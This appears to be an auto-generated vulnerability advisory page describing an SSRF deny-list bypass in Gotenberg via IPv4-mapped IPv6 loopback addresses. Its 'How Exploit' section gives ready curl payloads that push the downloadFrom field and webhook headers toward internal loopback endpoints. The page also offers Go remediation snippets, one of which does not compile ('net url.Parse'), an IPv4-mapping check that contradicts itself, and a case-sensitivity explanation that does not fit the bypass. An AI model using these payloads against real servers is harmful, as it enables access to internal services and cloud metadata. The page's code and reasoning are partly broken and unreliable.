Gotenberg, SSRF Bypass, CVE-UNKNOWN (Critical)

Listen to this Post

The vulnerability arises from Gotenberg’s default deny‑lists for the `downloadFrom` and webhook features, which use case‑sensitive regex filtering. The deny‑list only blocks lowercase `http://` and `https://` prefixes. An attacker supplies a URL with an IPv4‑mapped IPv6 loopback address, e.g., http://[::ffff:127.0.0.1]:18081/...`. Because the regex match is case‑sensitive and does not recognise this representation, the URL passes the filter. Go’s HTTP stack, however, interprets `[::ffff:127.0.0.1]` as equivalent to127.0.0.1. The outbound request therefore reaches internal loopback services. The vulnerable code paths are:
- `pkg/modules/api/api.go:198-200` defines the deny‑list for
downloadFrom.
- `pkg/modules/webhook/webhook.go:41-43` defines the deny‑list for webhooks.
- `pkg/gotenberg/filter.go:20-69` applies case‑sensitive regex matching via
regexp2.
- `pkg/modules/api/context.go:208-282` reads
downloadFrom, callsFilterDeadline, and issues a GET request.
- `pkg/modules/webhook/middleware.go:99-217` reads `Gotenberg-Webhook-Url` / `Gotenberg-Webhook-Events-Url` and calls
FilterDeadline.
- `pkg/modules/webhook/client.go:39-152` and `155-216` send the outbound webhook requests.
The bypass is confirmed with URLs: `http://[::ffff:127.0.0.1]:18081/page_1.pdf`, `http://[::ffff:127.0.0.1]:18082/upload`,
http://[::ffff:127.0.0.1]:18082/events`. The PoC script `verify_ssrf_poc.sh` builds a local Gotenberg image, starts an internal helper listener, and forces Gotenberg to fetch a PDF and POST to internal endpoints, producing metadata and log evidence.

dailycve form:

Platform: Gotenberg
Version: <= affected
Vulnerability : SSRF bypass
Severity: Critical
date: 2025-02-17

Prediction: 2025-03-15

What Undercode Say:

Canonicalize and validate URL before deny-list check
cat << 'EOF' > canonicalize_url.go
package main
import (
"fmt"
"net"
"net/url"
"strings"
)
func canonicalize(raw string) (string, error) {
u, err := url.Parse(raw)
if err != nil {
return "", err
}
// Lowercase scheme and host
u.Scheme = strings.ToLower(u.Scheme)
u.Host = strings.ToLower(u.Host)
// Normalize IPv4-mapped IPv6
host := u.Hostname()
if ip := net.ParseIP(host); ip != nil && ip.To4() == nil && strings.HasPrefix(host, "[::ffff:") {
ipv4 := ip.To4()
if ipv4 != nil {
u.Host = ipv4.String()
if u.Port() != "" {
u.Host = u.Host + ":" + u.Port()
}
}
}
return u.String(), nil
}
func main() {
bypass := "http://[::ffff:127.0.0.1]:18081/page.pdf"
canon, _ := canonicalize(bypass)
fmt.Println(canon) // http://127.0.0.1:18081/page.pdf
}
EOF
go run canonicalize_url.go
Resolve and validate IPs against private ranges
cat << 'EOF' > resolve_and_block.go
package main
import (
"fmt"
"net"
)
func isPrivate(ip net.IP) bool {
return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() ||
ip.IsUnspecified() || ip.IsMulticast()
}
func main() {
urls := []string{"http://[::ffff:127.0.0.1]:18081/"}
for _, raw := range urls {
u, _ := net url.Parse(raw)
ips, _ := net.LookupIP(u.Hostname())
for _, ip := range ips {
if isPrivate(ip) {
fmt.Printf("BLOCKED: %s resolves to private IP %s\n", raw, ip)
}
}
}
}
EOF
go run resolve_and_block.go

How Exploit:

One-command exploit from the repository root
cd '/path/to/gotenberg'
./tmp/poc/verify_ssrf_poc.sh
Manual exploit for downloadFrom
curl -X POST "http://target:3000/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"}]"
Manual exploit for webhook
curl -X POST "http://target:3000/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: http://[::ffff:127.0.0.1]:18082/upload" \
-H "Gotenberg-Webhook-Events-Url: http://[::ffff:127.0.0.1]:18082/events" \
-F "[email protected]"

Protection from this CVE:

  • Parse URLs with net/url, lowercase scheme/host, canonicalize IPv4-mapped IPv6 addresses before filtering.
  • Replace regex deny-list with resolved IP validation: block loopback, RFC1918, link-local, ULA, multicast, and IPv4-mapped IPv6 private addresses.
  • Revalidate after redirects.
  • Disable `downloadFrom` and webhook features by default, or enforce a strict allow-list for allowed outbound hosts.

Impact:

Unauthenticated SSRF allowing attackers to force Gotenberg to access internal loopback services, read metadata from internal HTTP endpoints, trigger state-changing requests via webhooks, and reach cloud metadata or local admin APIs, bypassing the default deny-list completely.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top